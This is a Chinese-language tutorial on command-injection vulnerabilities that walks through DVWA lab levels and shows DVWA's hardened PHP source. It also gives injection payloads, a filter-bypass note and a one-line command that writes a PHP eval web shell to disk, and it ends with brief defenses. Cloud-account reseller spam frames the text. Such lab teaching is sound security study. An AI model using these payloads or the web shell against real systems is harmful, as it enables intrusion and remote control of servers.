命令执行利用

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

数据来源

01 命令执行漏洞 

命令执行漏洞- 例子1无防御

 

示例我这里使用dvwa靶场做演示

解决靶场响应结果的中文乱码 

charset=utf-8修改为charset=gb2312 

 

把安全等级调到low最低级

选择命令注入 

可以查看源码

没有做任何防御 

        靶场这里的网页命令使用的是ping但是我们可以通过连接符在操作系统中连续执行命令 & 、&& 、| 、 || 都可以作为命令连接符使用此漏洞可以注入命令开启后门。

 

如127.0.0.1&&ipconfig             (ipconfig是查看主机的ip信息如果要执行其他DOS命令DOS 命令)

命令执行漏洞- 例子2 

把靶场的安全等级调到Medium

        从DVWA的medium级别源码可以看到对参数进行了一些简单的过滤此时可以通过&|或者根据过滤的字符进行组合等绕过防御。

 此时继续使用&&进行拼接是会报错的

 以通过&|或者根据过滤的字符进行组合等绕过防御

命令执行漏洞- 例子3

把靶场的安全等级调到High

源码

命令执行漏洞- 例子4

 把靶场的安全等级调到Impossible最高级号称不可能有漏洞

 源码


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // 检查反CSRF令牌
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取输入
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // 将IP分成4个字节
    $octet = explode( ".", $target );

    // 检查每个字节是否为整数
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 确定操作系统并执行ping命令.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // 最终用户的反馈
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // 行动 让用户名出错
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// 生成反CSRF令牌
generateSessionToken();

?>

02 php命令执行

php命令执行反弹 shell

 

php命令执行写 shell 

// echo 需要添加的字符串 >>[路径\]文件名.扩展名
// >> 追加  > 覆盖  文件不存在就创建
127.0.0.1|echo "<?php @eval($_POST["pass"]);?>" >D:/1.php

03 命令执行漏洞防护

1禁用高危系统函数

2严格过滤特殊字符

3开启safe_mode

 

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6